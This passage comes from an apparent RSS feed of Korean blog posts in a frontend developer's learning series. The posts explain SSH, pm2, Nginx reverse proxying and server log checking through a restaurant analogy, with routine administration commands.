<td><strong>계정 이름</strong> (서버 이름 아님!)</td>
</tr>
<tr>
<td><code>@13.125.200.50</code></td>
<td>서버 IP 주소 (전화번호)</td>
</tr>
</tbody></table>
<h3 id="인증-방식">인증 방식</h3>
<table>
<thead>
<tr>
<th></th>
<th>위치</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td>공개 키 (Public Key)</td>
<td><strong>서버</strong>에 설치</td>
<td>자물쇠</td>
</tr>
<tr>
<td>개인 키 (Private Key)</td>
<td><strong>내 컴퓨터</strong>에만 보관</td>
<td>열쇠</td>
</tr>
</tbody></table>
<blockquote>
<p>⚠️ 개인 키는 절대 Git에 올리면 안 된다!</p>
</blockquote>
<h3 id="자주-쓰는-명령어">자주 쓰는 명령어</h3>
<pre><code class="language-bash">pwd          # 현재 위치
ls -la       # 폴더 내용 보기
cd 경로       # 폴더 이동
cat 파일명    # 파일 내용 보기
exit         # 접속 종료</code></pre>
<hr>
<h2 id="day-8-pm2--프로세스-매니저">Day 8: pm2 / 프로세스 매니저</h2>
<blockquote>
<p><strong>pm2 = 프로세스를 감시하고, 죽으면 살려주는 주방 매니저</strong></p>
</blockquote>
<h3 id="비유-구조">비유 구조</h3>
<table>
<thead>
<tr>
<th>레스토랑</th>
<th>서버</th>
</tr>
</thead>
<tbody><tr>
<td>셰프</td>
<td>프로세스 (yarn start)</td>
</tr>
<tr>
<td>음식</td>
<td>사이트</td>
</tr>
<tr>
<td>주방 매니저</td>
<td>pm2</td>
</tr>
<tr>
<td>셰프가 쓰러짐</td>
<td>크래시 (에러로 프로세스 죽음)</td>
</tr>
<tr>
<td>음식이 안 나옴</td>
<td>사이트 접속 불가</td>
</tr>
</tbody></table>
<blockquote>
<p>💡 &quot;프로세스가 죽는다&quot; = 개발자 관점
💡 &quot;사이트가 죽는다&quot; = 사용자 관점
→ <strong>같은 현상을 다른 관점에서 보는 것!</strong></p>
</blockquote>
<h3 id="pm2-없으면-생기는-문제-3가지">pm2 없으면 생기는 문제 3가지</h3>
<table>
<thead>
<tr>
<th>문제</th>
<th>pm2 있으면</th>
</tr>
</thead>
<tbody><tr>
<td>SSH 끊으면 앱도 죽음</td>
<td>✅ 계속 살아있음</td>
</tr>
<tr>
<td>에러로 크래시</td>
<td>✅ 자동 재시작</td>
</tr>
<tr>
<td>서버 재부팅하면 날아감</td>
<td>✅ 자동으로 다시 켜짐</td>
</tr>
</tbody></table>
<h3 id="핵심-명령어">핵심 명령어</h3>
<pre><code class="language-bash">pm2 start yarn --name &quot;prod-app&quot; -- start -p 5008   # 앱 시작
pm2 list              # 프로세스 목록
pm2 logs prod-app     # 로그 보기
pm2 restart prod-app  # 재시작
pm2 stop prod-app     # 멈추기
pm2 delete prod-app   # 삭제

pm2 startup           # 서버 켜지면 pm2 자동 실행 설정
pm2 save              # 현재 프로세스 명단 저장</code></pre>
<blockquote>
<p><code>pm2 startup</code> = 주방 매니저 자동 출근 알람
<code>pm2 save</code> = 셰프 출근 명단표 저장</p>
</blockquote>
<hr>
<h2 id="day-9-nginx--리버스-프록시">Day 9: Nginx / 리버스 프록시</h2>
<blockquote>
<p><strong>Nginx = 요청을 받아서 알맞은 앱으로 전달해주는 홀 매니저</strong></p>
</blockquote>
<h3 id="nginx가-하는-일">Nginx가 하는 일</h3>
<pre><code>사용자: https://my-site.com (자동으로 443번 포트)
    ↓
Nginx: 443번에서 대기하다가 받음
    ↓
localhost:5008로 전달 (포트 번호를 사용자에게 숨김)</code></pre><h3 id="여러-앱-분배">여러 앱 분배</h3>
<table>
<thead>
<tr>
<th>사용자가 접속하는 주소</th>
<th>Nginx가 보내는 곳</th>
</tr>
</thead>
<tbody><tr>
<td><code>my-site.com</code></td>
<td>localhost:5008 (프론트엔드)</td>
</tr>
<tr>
<td><code>api.my-site.com</code></td>
<td>localhost:3000 (백엔드)</td>
</tr>
<tr>
<td><code>admin.my-site.com</code></td>
<td>localhost:4000 (어드민)</td>
</tr>
</tbody></table>
<h3 id="리버스-프록시란">리버스 프록시란?</h3>
<blockquote>
<p><strong>서버를 대신해서 요청을 받아주는 대리인 (서버 내부 구조를 숨긴다)</strong></p>
</blockquote>
<h3 id="포트-안-쳐도-되는-이유">포트 안 쳐도 되는 이유</h3>
<ul>
<li>HTTP 기본 포트 = <strong>80</strong></li>
<li>HTTPS 기본 포트 = <strong>443</strong></li>
<li>브라우저가 자동으로 기본 포트로 요청 → Nginx가 받아서 내부 포트로 전달</li>
</ul>
<blockquote>
<p>⚠️ Nginx는 주소를 만들어주는 게 아니다!
도메인 주소는 <strong>DNS</strong>가 만들어주고, Nginx는 들어온 요청을 <strong>알맞은 곳으로 전달</strong>하는 역할.</p>
</blockquote>
<hr>
<h2 id="day-10-로그-확인하기">Day 10: 로그 확인하기</h2>
<blockquote>
<p><strong>로그 = 서버에서 일어난 일의 기록 (CCTV)</strong></p>
</blockquote>
<h3 id="꼭-기억할-것-3가지">꼭 기억할 것 3가지</h3>
<table>
<thead>
<tr>
<th>핵심</th>
<th>정리</th>
</tr>
</thead>
<tbody><tr>
<td>로그가 뭔지</td>
<td>서버에서 일어난 일의 시간순 기록</td>
</tr>
<tr>
<td>뭘 먼저 볼지</td>
<td><strong><code>pm2 logs</code></strong> (이것만 기억해도 OK)</td>
</tr>
<tr>
<td>로그가 많을 때</td>
<td><code>pm2 logs | grep &quot;ERROR&quot;</code></td>
</tr>
</tbody></table>
<h3 id="로그-확인-순서">로그 확인 순서</h3>
<pre><code>1단계: pm2 logs → 코드 에러 확인 (대부분 여기서 해결!)
    ↓
2단계: Nginx error.log → 요청 전달 문제 확인
    ↓
3단계: 시스템 로그 → 서버 컴퓨터 자체 문제 확인</code></pre><h3 id="-파이프"><code>|</code> (파이프)</h3>
<p>&quot;왼쪽 결과에서 오른쪽 조건에 맞는 것만 골라줘&quot;</p>
<pre><code class="language-bash">pm2 logs | grep &quot;ERROR&quot;     # ERROR만 보기
pm2 logs | grep &quot;products&quot;  # 특정 페이지 관련 로그만 보기</code></pre>
<hr>
<h2 id="🗺️-day-510-전체-구조-한눈에-보기">🗺️ Day 5~10 전체 구조 한눈에 보기</h2>
<pre><code>사용자가 my-site.com 접속
        ↓
    [ Nginx ] (홀 매니저) — 80/443번 포트에서 대기
        ↓
    proxy_pass → localhost:5008
        ↓
    [ pm2 ] (주방 매니저) — 프로세스 감시·관리
        ↓
    [ Node.js / Next.js ] (셰프) — 실제 응답 생성
        ↓
    HTML, CSS, JS 응답
        ↓
    사용자 화면에 사이트 표시!</code></pre><table>
<thead>
<tr>
<th>역할</th>
<th>담당</th>
<th>비유</th>
<th>Day</th>
</tr>
</thead>
<tbody><tr>
<td>개발/프로덕션 모드</td>
<td>dev / start</td>
<td>연습 vs 본 영업</td>
<td>Day 5</td>
</tr>
<tr>
<td>서버</td>
<td>컴퓨터</td>
<td>주방 건물</td>
<td>Day 6</td>
</tr>
<tr>
<td>원격 접속</td>
<td>SSH</td>
<td>전화선</td>
<td>Day 7</td>
</tr>
<tr>
<td>프로세스 관리</td>
<td>pm2</td>
<td>주방 매니저</td>
<td>Day 8</td>
</tr>
<tr>
<td>요청 분배</td>
<td>Nginx</td>
<td>홀 매니저</td>
<td>Day 9</td>
</tr>
<tr>
<td>기록 확인</td>
<td>로그</td>
<td>CCTV</td>
<td>Day 10</td>
</tr>
</tbody></table>
<blockquote>
<p><strong>한 문장 정리:</strong>
서버(Day 6)에 SSH(Day 7)로 접속해서, pm2(Day 8)로 앱을 관리하고, Nginx(Day 9)로 요청을 분배하고, 문제가 생기면 로그(Day 10)로 원인을 찾는다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 10 — 로그 확인하기
]]></title>
            <link>https://velog.io/@jjang_hyo/Day-10-%EB%A1%9C%EA%B7%B8-%ED%99%95%EC%9D%B8%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@jjang_hyo/Day-10-%EB%A1%9C%EA%B7%B8-%ED%99%95%EC%9D%B8%ED%95%98%EA%B8%B0</guid>
            <pubDate>Tue, 28 Apr 2026 06:58:48 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 2년차 프론트엔드 개발자의 12주 기초 챌린지
Week 2: 배포 환경 이해하기 (Day 6-10) — 마지막!</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유로-시작하기">🍳 레스토랑 비유로 시작하기</h2>
<p>레스토랑에서 손님이 &quot;음식이 안 나와요!&quot; 클레임을 걸었다.
그러면 어떻게 원인을 찾나? <strong>CCTV를 돌려본다!</strong></p>
<ul>
<li>홀 CCTV → 손님 주문이 제대로 전달됐나? (Nginx 로그)</li>
<li>주방 CCTV → 셰프가 요리하다 뭘 잘못했나? (pm2 로그)</li>
<li>건물 관리 기록 → 전기가 나가진 않았나? (시스템 로그)</li>
</ul>
<p>이 CCTV 기록이 바로 <strong>로그(Log)</strong>다.</p>
<hr>
<h2 id="1-로그--서버의-cctv-기록">1. 로그 = 서버의 CCTV 기록</h2>
<blockquote>
<p><strong>로그 = 서버에서 일어난 일을 시간순으로 기록한 텍스트 파일</strong></p>
</blockquote>
<p>로그 한 줄 예시:</p>
<pre><code>[2026-04-27 14:23:05] ERROR - Cannot read property &#39;name&#39; of undefined</code></pre><table>
<thead>
<tr>
<th>부분</th>
<th>의미</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>2026-04-27 14:23:05</code></td>
<td>언제 발생했나</td>
<td>CCTV 타임스탬프</td>
</tr>
<tr>
<td><code>ERROR</code></td>
<td>심각도 (레벨)</td>
<td>사고 등급</td>
</tr>
<tr>
<td><code>Cannot read property...</code></td>
<td>무슨 일이 일어났나</td>
<td>CCTV 영상 내용</td>
</tr>
</tbody></table>
<hr>
<h2 id="2-로그-레벨--심각도-등급">2. 로그 레벨 — 심각도 등급</h2>
<table>
<thead>
<tr>
<th>레벨</th>
<th>의미</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td><strong>DEBUG</strong></td>
<td>개발 확인용 상세 정보</td>
<td>셰프의 혼잣말</td>
</tr>
<tr>
<td><strong>INFO</strong></td>
<td>정상 동작 기록</td>
<td>주문 접수 기록</td>
</tr>
<tr>
<td><strong>WARN</strong></td>
<td>당장 문제는 아니지만 주의</td>
<td>&quot;냉장고 온도 살짝 높아지는 중&quot;</td>
</tr>
<tr>
<td><strong>ERROR</strong></td>
<td>문제 발생! 특정 요청 실패</td>
<td>&quot;소스가 없어서 주문 실패&quot;</td>
</tr>
<tr>
<td><strong>FATAL</strong></td>
<td>심각! 앱 전체가 멈출 수 있음</td>
<td>&quot;가스가 샜다! 주방 폐쇄!&quot;</td>
</tr>
</tbody></table>
<p>실무에서 가장 많이 보는 건 <strong>ERROR</strong>와 <strong>WARN</strong>.</p>
<hr>
<h2 id="3-로그-종류-3가지">3. 로그 종류 3가지</h2>
<h3 id="📋-pm2-로그--가장-자주-보는-로그-주방-cctv">📋 pm2 로그 — 가장 자주 보는 로그 (주방 CCTV)</h3>
<pre><code class="language-bash">pm2 logs              # 모든 앱 로그 실시간 보기
pm2 logs prod-app     # prod-app 로그만 보기
pm2 logs --lines 100  # 최근 100줄 보기</code></pre>
<p>코드에서 에러가 나면 여기서 확인. <strong>문제 생기면 일단 이것부터 보자!</strong></p>
<h3 id="📋-nginx-로그--접속-기록-홀-cctv">📋 Nginx 로그 — 접속 기록 (홀 CCTV)</h3>
<pre><code class="language-bash">cat /var/log/nginx/access.log   # 누가 뭘 요청했나
cat /var/log/nginx/error.log    # Nginx 단에서 실패한 것</code></pre>
<p>상태 코드가 <code>500</code>이면 서버 에러, <code>404</code>면 페이지를 못 찾은 것.</p>
<h3 id="📋-시스템-로그--서버-컴퓨터-자체-기록-건물-관리-기록">📋 시스템 로그 — 서버 컴퓨터 자체 기록 (건물 관리 기록)</h3>
<pre><code class="language-bash">sudo tail -f /var/log/syslog</code></pre>
<p>메모리 부족, 디스크 꽉 참 등 큰 문제가 생겼을 때 확인.</p>
<hr>
<h2 id="4-문제-생겼을-때-확인-순서">4. 문제 생겼을 때 확인 순서</h2>
<pre><code>1단계: pm2 logs → 코드 에러인지 확인 (대부분 여기서 해결!)
    ↓
2단계: Nginx error.log → 요청이 앱까지 도달했는지 확인
    ↓
3단계: 시스템 로그 → 서버 컴퓨터 자체 문제인지 확인</code></pre><hr>
<h2 id="5-로그가-많을-때--grep으로-걸러보기">5. 로그가 많을 때 — grep으로 걸러보기</h2>
<pre><code class="language-bash">pm2 logs | grep &quot;ERROR&quot;</code></pre>
<p><code>|</code> (파이프) = &quot;왼쪽 결과에서 오른쪽 조건에 맞는 것만 골라줘&quot;</p>
<table>
<thead>
<tr>
<th>명령어</th>
<th>의미</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>tail -f</code></td>
<td>실시간으로 새 로그 보기</td>
<td>CCTV 실시간 모니터링</td>
</tr>
<tr>
<td><code>tail -n 50</code></td>
<td>마지막 50줄만 보기</td>
<td>최근 50컷만 돌려보기</td>
</tr>
<tr>
<td><code>grep &quot;ERROR&quot;</code></td>
<td>특정 단어 포함된 줄만 보기</td>
<td>사고 장면만 골라보기</td>
</tr>
</tbody></table>
<hr>
<h2 id="6-실전-시나리오-사이트가-안-열려요">6. 실전 시나리오: 사이트가 안 열려요!</h2>
<pre><code class="language-bash"># 1. SSH로 서버 접속
ssh -i my-key.pem ubuntu@서버IP

# 2. 앱 상태 확인
pm2 list

# 3. 에러 로그 확인
pm2 logs prod-app --lines 50

# 4. 앱은 정상인데 접속 안 되면 Nginx 확인
cat /var/log/nginx/error.log | grep &quot;502&quot;

# 5. 원인 파악 후 재시작
pm2 restart prod-app</code></pre>
<hr>
<h2 id="📌-꼭-기억할-것-3가지">📌 꼭 기억할 것 3가지</h2>
<table>
<thead>
<tr>
<th>핵심</th>
<th>한 줄 정리</th>
</tr>
</thead>
<tbody><tr>
<td>로그가 뭔지</td>
<td>서버에서 일어난 일의 기록 (CCTV)</td>
</tr>
<tr>
<td>뭘 먼저 볼지</td>
<td><strong><code>pm2 logs</code></strong> (이것만 기억해도 OK)</td>
</tr>
<tr>
<td>로그가 많을 때</td>
<td><code>pm2 logs | grep &quot;ERROR&quot;</code></td>
</tr>
</tbody></table>
<hr>
<h2 id="🎉-week-2-완료-전체-정리">🎉 Week 2 완료! 전체 정리</h2>
<p>Day 6~10에서 배운 것을 한 문장으로:</p>
<blockquote>
<p><strong>서버(Day 6)에 SSH(Day 7)로 접속해서, pm2(Day 8)로 앱을 관리하고, Nginx(Day 9)로 요청을 분배하고, 문제가 생기면 로그(Day 10)로 원인을 찾는다.</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th>역할</th>
<th>담당</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td>서버</td>
<td>컴퓨터</td>
<td>주방 건물</td>
</tr>
<tr>
<td>SSH</td>
<td>원격 접속</td>
<td>전화선</td>
</tr>
<tr>
<td>pm2</td>
<td>프로세스 관리</td>
<td>주방 매니저</td>
</tr>
<tr>
<td>Nginx</td>
<td>요청 분배</td>
<td>홀 매니저</td>
</tr>
<tr>
<td>로그</td>
<td>기록 확인</td>
<td>CCTV</td>
</tr>
</tbody></table>
<hr>
<blockquote>
<p>🔮 <strong>다음 Week 3:</strong> 실전 배포 흐름</p>
<ul>
<li>Day 11: CI/CD란? (GitHub Actions) — git push만 하면 자동 배포!</li>
<li>Day 12-13: Docker — &quot;내 컴퓨터에서는 되는데 서버에서 안 돼요&quot; 해결</li>
</ul>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 9 — Nginx란? 리버스 프록시 개념]]></title>
            <link>https://velog.io/@jjang_hyo/Day-9-Nginx%EB%9E%80-%EB%A6%AC%EB%B2%84%EC%8A%A4-%ED%94%84%EB%A1%9D%EC%8B%9C-%EA%B0%9C%EB%85%90</link>
            <guid>https://velog.io/@jjang_hyo/Day-9-Nginx%EB%9E%80-%EB%A6%AC%EB%B2%84%EC%8A%A4-%ED%94%84%EB%A1%9D%EC%8B%9C-%EA%B0%9C%EB%85%90</guid>
            <pubDate>Mon, 27 Apr 2026 01:56:09 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 2년차 프론트엔드 개발자의 12주 기초 챌린지
Week 2: 배포 환경 이해하기 (Day 6-10)</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유로-시작하기">🍳 레스토랑 비유로 시작하기</h2>
<p>지금까지 등장한 인물:</p>
<ul>
<li><strong>셰프(프로세스)</strong> — 실제로 요리하는 사람 (<code>yarn start</code>)</li>
<li><strong>주방 매니저(pm2)</strong> — 셰프를 관리, 쓰러지면 대타 투입</li>
</ul>
<p>그런데 <strong>손님 응대는 누가 하나?</strong></p>
<p>손님(사용자)이 레스토랑에 들어오면 바로 주방으로 가지 않는다.
<strong>홀 매니저</strong>가 손님을 맞이하고, 알맞은 주방으로 안내해준다.</p>
<p>이 홀 매니저가 바로 <strong>Nginx</strong>!</p>
<p>우리 레스토랑에는 주방이 두 개 있다:</p>
<ul>
<li><strong>5008번 주방</strong> — 일반 손님용 (프로덕션)</li>
<li><strong>5007번 주방</strong> — 직원 시식용 (개발 확인)</li>
</ul>
<p>홀 매니저(Nginx)가 &quot;일반 손님은 5008번 주방, 직원은 5007번 주방&quot;으로 안내하는 것.</p>
<hr>
<h2 id="1-nginx가-뭐야">1. Nginx가 뭐야?</h2>
<blockquote>
<p><strong>Nginx = 요청을 받아서 알맞은 곳으로 전달해주는 웹 서버</strong></p>
</blockquote>
<h3 id="역할-1-포트-번호-숨기기">역할 1: 포트 번호 숨기기</h3>
<pre><code>사용자 → https://my-site.com → Nginx → localhost:5008 (Next.js 앱)</code></pre><p>사용자는 포트 번호를 몰라도, 깔끔한 주소로 접속할 수 있다.</p>
<h3 id="역할-2-여러-앱으로-요청-분배하기">역할 2: 여러 앱으로 요청 분배하기</h3>
<pre><code>my-site.com      → Nginx → localhost:5008 (프로덕션 앱)
dev.my-site.com  → Nginx → localhost:5007 (개발 확인용)
api.my-site.com  → Nginx → localhost:3000 (백엔드 API)</code></pre><p>서버 한 대에서 여러 앱을 동시에 운영할 수 있다!</p>
<hr>
<h2 id="2-포트-번호를-안-쳐도-되는-이유">2. 포트 번호를 안 쳐도 되는 이유</h2>
<p>HTTP의 기본 포트는 <strong>80</strong>, HTTPS의 기본 포트는 <strong>443</strong>이다.</p>
<p>브라우저에서 <code>https://my-site.com</code>이라고 치면 자동으로 443번 포트로 요청을 보낸다.
Nginx가 이 443번 포트에서 대기하다가 받아서 내부 포트(5008)로 전달하는 것.</p>
<pre><code>사용자: https://my-site.com (자동으로 443번 포트)
    ↓
Nginx: 443번에서 대기하다가 받음
    ↓
localhost:5008로 전달</code></pre><blockquote>
<p>💡 <strong>localhost vs localStorage 헷갈리지 말기!</strong></p>
<ul>
<li><strong>localhost</strong> = 컴퓨터가 자기 자신을 가리키는 주소</li>
<li><strong>localStorage</strong> = 브라우저에 데이터를 저장하는 기능
완전 다른 개념이다!</li>
</ul>
</blockquote>
<hr>
<h2 id="3-리버스-프록시란">3. 리버스 프록시란?</h2>
<p>Nginx의 핵심 기능을 <strong>리버스 프록시(Reverse Proxy)</strong>라고 부른다.</p>
<ul>
<li><strong>프록시(Proxy)</strong> = 대리인</li>
<li><strong>리버스(Reverse)</strong> = 서버 쪽의</li>
</ul>
<blockquote>
<p><strong>리버스 프록시 = 서버를 대신해서 요청을 받아주는 대리인</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th>개념</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td>포워드 프록시</td>
<td>손님 쪽 대리인 (VPN — 손님 신분을 숨겨줌)</td>
</tr>
<tr>
<td><strong>리버스 프록시</strong></td>
<td><strong>주방 쪽 대리인 (Nginx — 주방 위치를 숨겨줌)</strong></td>
</tr>
</tbody></table>
<p>손님은 홀 매니저(Nginx)하고만 대화하고, 주방이 몇 번인지 전혀 모른다.
<strong>서버 내부 구조를 사용자에게 숨기는 것</strong>이 핵심!</p>
<hr>
<h2 id="4-nginx-설정-파일-맛보기">4. Nginx 설정 파일 맛보기</h2>
<pre><code class="language-nginx">server {
    listen 80;
    server_name my-site.com;

    location / {
        proxy_pass http://localhost:5008;
    }
}</code></pre>
<table>
<thead>
<tr>
<th>줄</th>
<th>의미</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td><code>listen 80</code></td>
<td>80번 포트에서 요청 받기</td>
<td>홀 매니저가 정문에서 대기</td>
</tr>
<tr>
<td><code>server_name my-site.com</code></td>
<td>이 도메인의 요청을 처리</td>
<td>&quot;우리 레스토랑 이름은 이거야&quot;</td>
</tr>
<tr>
<td><code>location /</code></td>
<td>모든 경로에 대해</td>
<td>어떤 주문이든</td>
</tr>
<tr>
<td><code>proxy_pass http://localhost:5008</code></td>
<td>5008 포트로 전달</td>
<td>&quot;5008번 주방으로 보내&quot;</td>
</tr>
</tbody></table>
<hr>
<h2 id="5-nginx-있을-때-vs-없을-때">5. Nginx 있을 때 vs 없을 때</h2>
<h3 id="nginx-없이">Nginx 없이</h3>
<p>사용자가 포트 번호를 직접 알아야 한다:</p>
<ul>
<li><code>http://회사IP:5008</code> — 프론트엔드</li>
<li><code>http://회사IP:3000</code> — 백엔드 API</li>
<li><code>http://회사IP:4000</code> — 어드민</li>
</ul>
<h3 id="nginx-있으면">Nginx 있으면</h3>
<p>사용자는 깔끔한 주소만 알면 된다:</p>
<ul>
<li><code>my-site.com</code> → 5008</li>
<li><code>api.my-site.com</code> → 3000</li>
<li><code>admin.my-site.com</code> → 4000</li>
</ul>
<p>사용자는 포트 번호를 전혀 모르고, 서버 내부 구조도 모른다!</p>
<hr>
<h2 id="6-전체-구조-연결-day-69-총정리">6. 전체 구조 연결 (Day 6~9 총정리)</h2>
<pre><code>사용자가 my-site.com 접속
        ↓
    [ Nginx ] (홀 매니저) — 80/443번 포트에서 대기
        ↓
    proxy_pass → localhost:5008
        ↓
    [ pm2 ] (주방 매니저) — 프로세스 감시·관리
        ↓
    [ Node.js / Next.js ] (셰프) — 실제 응답 생성
        ↓
    HTML, CSS, JS 응답
        ↓
    사용자 화면에 사이트 표시!</code></pre><table>
<thead>
<tr>
<th>역할</th>
<th>담당</th>
<th>하는 일</th>
</tr>
</thead>
<tbody><tr>
<td>홀 매니저</td>
<td>Nginx</td>
<td>요청을 받아서 알맞은 앱으로 전달</td>
</tr>
<tr>
<td>주방 매니저</td>
<td>pm2</td>
<td>프로세스 감시, 죽으면 재시작</td>
</tr>
<tr>
<td>셰프</td>
<td>Node.js (Next.js)</td>
<td>실제 페이지를 만들어서 응답</td>
</tr>
<tr>
<td>주방 건물</td>
<td>서버 컴퓨터</td>
<td>24시간 켜져 있는 컴퓨터</td>
</tr>
<tr>
<td>전화선</td>
<td>SSH</td>
<td>서버에 원격 접속하는 방법</td>
</tr>
</tbody></table>
<hr>
<h2 id="📌-오늘의-핵심-정리">📌 오늘의 핵심 정리</h2>
<ol>
<li><strong>Nginx</strong> — 요청을 받아서 알맞은 앱으로 전달 (홀 매니저)</li>
<li><strong>리버스 프록시</strong> — 서버를 대신해서 요청을 받는 대리인 (서버 내부 구조 숨김)</li>
<li><strong>포트 안 쳐도 되는 이유</strong> — HTTP(80), HTTPS(443)이 기본 포트 + Nginx가 내부 포트로 전달</li>
<li><strong>여러 앱 분배</strong> — 도메인에 따라 다른 포트의 앱으로 연결 가능</li>
<li><strong>전체 흐름</strong> — 사용자 → Nginx → pm2 → Node.js → 응답</li>
</ol>
<blockquote>
<p>💡 프론트엔드 개발자가 Nginx를 직접 설정할 일은 많지 않다.
중요한 건 <strong>전체 구조에서 Nginx가 어디에 있고 뭘 하는지 아는 것!</strong></p>
</blockquote>
<hr>
<blockquote>
<p>🔮 <strong>다음 시간 (Day 10):</strong> 로그 확인하기
사이트에 문제가 생겼을 때 &quot;뭐가 잘못됐는지&quot; 어떻게 찾는가?
병원의 환자 차트처럼 서버에도 모든 기록이 남는 로그가 있다!</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Day 8 — pm2 / 프로세스 매니저 개념]]></title>
            <link>https://velog.io/@jjang_hyo/Day-8-pm2-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4-%EB%A7%A4%EB%8B%88%EC%A0%80-%EA%B0%9C%EB%85%90</link>
            <guid>https://velog.io/@jjang_hyo/Day-8-pm2-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4-%EB%A7%A4%EB%8B%88%EC%A0%80-%EA%B0%9C%EB%85%90</guid>
            <pubDate>Sun, 26 Apr 2026 12:26:54 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>📚 2년차 프론트엔드 개발자의 12주 기초 챌린지
Week 2: 배포 환경 이해하기 (Day 6-10)</p>
</blockquote>
<hr>
<h2 id="🍳-레스토랑-비유로-시작하기">🍳 레스토랑 비유로 시작하기</h2>
<p>Day 7에서 SSH로 서버에 접속해서 <code>yarn start</code>를 실행하면 사이트가 켜진다는 걸 배웠다.
그런데 <strong>전화(SSH)를 끊으면 셰프가 불을 끄고 퇴근해버린다.</strong></p>
<p>레스토랑이라면 <strong>주방 매니저</strong>가 있어서:</p>
<ul>
<li>전화가 끊겨도 셰프가 계속 요리하게 관리하고</li>
<li>셰프가 쓰러지면(에러) <strong>자동으로 대타 셰프를 투입</strong>하고</li>
<li>가게를 닫았다 열어도(서버 재부팅) <strong>자동으로 영업 재개</strong>한다</li>
</ul>
<p>이 주방 매니저가 바로 <strong>pm2</strong>다!</p>
<hr>
<h2 id="1-프로세스란">1. 프로세스란?</h2>
<blockquote>
<p><strong>프로세스 = 실행 중인 프로그램</strong></p>
</blockquote>
<p>서버에서 <code>yarn start</code>를 하면 <strong>Node.js 프로세스</strong>가 하나 생긴다.</p>
<p>레스토랑 비유:</p>
<ul>
<li><strong>프로세스 = 일하고 있는 셰프 한 명</strong></li>
<li><strong>사이트 = 셰프가 만드는 음식</strong></li>
<li><strong>서버 = 주방 건물</strong></li>
<li><strong>pm2 = 주방 매니저</strong></li>
</ul>
<blockquote>
<p>💡 &quot;프로세스가 죽는다&quot; = 개발자 관점 (셰프가 쓰러졌다)
💡 &quot;사이트가 죽는다&quot; = 사용자 관점 (음식이 안 나온다)
→ <strong>같은 현상을 다른 관점에서 보는 것!</strong></p>
</blockquote>
<hr>
<h2 id="2-크래시crash란">2. 크래시(Crash)란?</h2>
<blockquote>
<p><strong>크래시 = 프로그램이 예상 못한 에러를 만나서 스스로 멈춰버리는 것</strong></p>
</blockquote>
<p>셰프가 요리하다가 <strong>갑자기 쓰러지는 것</strong>. 계획된 퇴근이 아니라 예상 못한 사고.</p>
<pre><code class="language-javascript">const data = response.data.items[0].name
// items가 빈 배열이면?
// → Cannot read property &#39;name&#39; of undefined
// → 💥 크래시! 프로세스가 죽어버림</code></pre>
<hr>
<h2 id="3-pm2-없이-서버를-켜면-생기는-문제-3가지">3. pm2 없이 서버를 켜면 생기는 문제 3가지</h2>
<table>
<thead>
<tr>
<th>문제</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>SSH 끊으면 죽음</td>
<td><code>yarn start</code>는 SSH 세션의 자식 프로세스라서 부모가 죽으면 같이 죽는다</td>
</tr>
<tr>
<td>에러 나면 죽음</td>
<td>크래시 발생 시 수동으로 다시 켜야 한다 (새벽 3시에 죽으면?)</td>
</tr>
<tr>
<td>서버 재부팅하면 날아감</td>
<td>컴퓨터 껐다 켜면 실행 중이던 프로그램이 전부 꺼진다</td>
</tr>
</tbody></table>
<hr>
<h2 id="4-pm2가-해결해주는-것">4. pm2가 해결해주는 것</h2>
<table>
<thead>
<tr>
<th>문제</th>
<th>pm2 없이</th>
<th>pm2 있으면</th>
</tr>
</thead>
<tbody><tr>
<td>SSH 끊으면?</td>
<td>사이트 죽음</td>
<td><strong>계속 살아있음</strong></td>
</tr>
<tr>
<td>에러로 크래시?</td>
<td>수동으로 재시작</td>
<td><strong>자동 재시작</strong></td>
</tr>
<tr>
<td>서버 재부팅?</td>
<td>전부 수동 재시작</td>
<td><strong>자동으로 다시 켜짐</strong></td>
</tr>
</tbody></table>
<hr>
<h2 id="5-pm2-기본-명령어">5. pm2 기본 명령어</h2>
<h3 id="앱-시작하기">앱 시작하기</h3>
<pre><code class="language-bash"># pm2 없이 (SSH 끊으면 죽음)
yarn start -p 5008

# pm2로 시작 (SSH 끊어도 살아있음)
pm2 start yarn --name &quot;my-app&quot; -- start -p 5008</code></pre>
<table>
<thead>
<tr>
<th>부분</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>pm2 start</code></td>
<td>pm2야, 프로세스 하나 시작해</td>
</tr>
<tr>
<td><code>yarn</code></td>
<td>yarn 명령어를 실행할 거야</td>
</tr>
<tr>
<td><code>--name &quot;my-app&quot;</code></td>
<td>이 프로세스 이름을 &quot;my-app&quot;으로 붙여줘</td>
</tr>
<tr>
<td><code>-- start -p 5008</code></td>
<td>yarn에게 전달할 옵션: <code>start -p 5008</code></td>
</tr>
</tbody></table>
<h3 id="프로세스-목록-보기">프로세스 목록 보기</h3>
<pre><code class="language-bash">pm2 list</code></pre>
<pre><code>┌──────────┬────┬────────┬──────┬────────┐
│ name     │ id │ ↺      │ status│ memory │
├──────────┼────┼────────┼──────┼────────┤
│ prod-app │ 0  │ 0      │ online│ 120mb  │
│ dev-app  │ 1  │ 0      │ online│ 98mb   │
└──────────┴────┴────────┴──────┴────────┘</code></pre><table>
<thead>
<tr>
<th>항목</th>
<th>의미</th>
<th>비유</th>
</tr>
</thead>
<tbody><tr>
<td>name</td>
<td>프로세스 이름</td>
<td>셰프 이름</td>
</tr>
<tr>
<td>id</td>
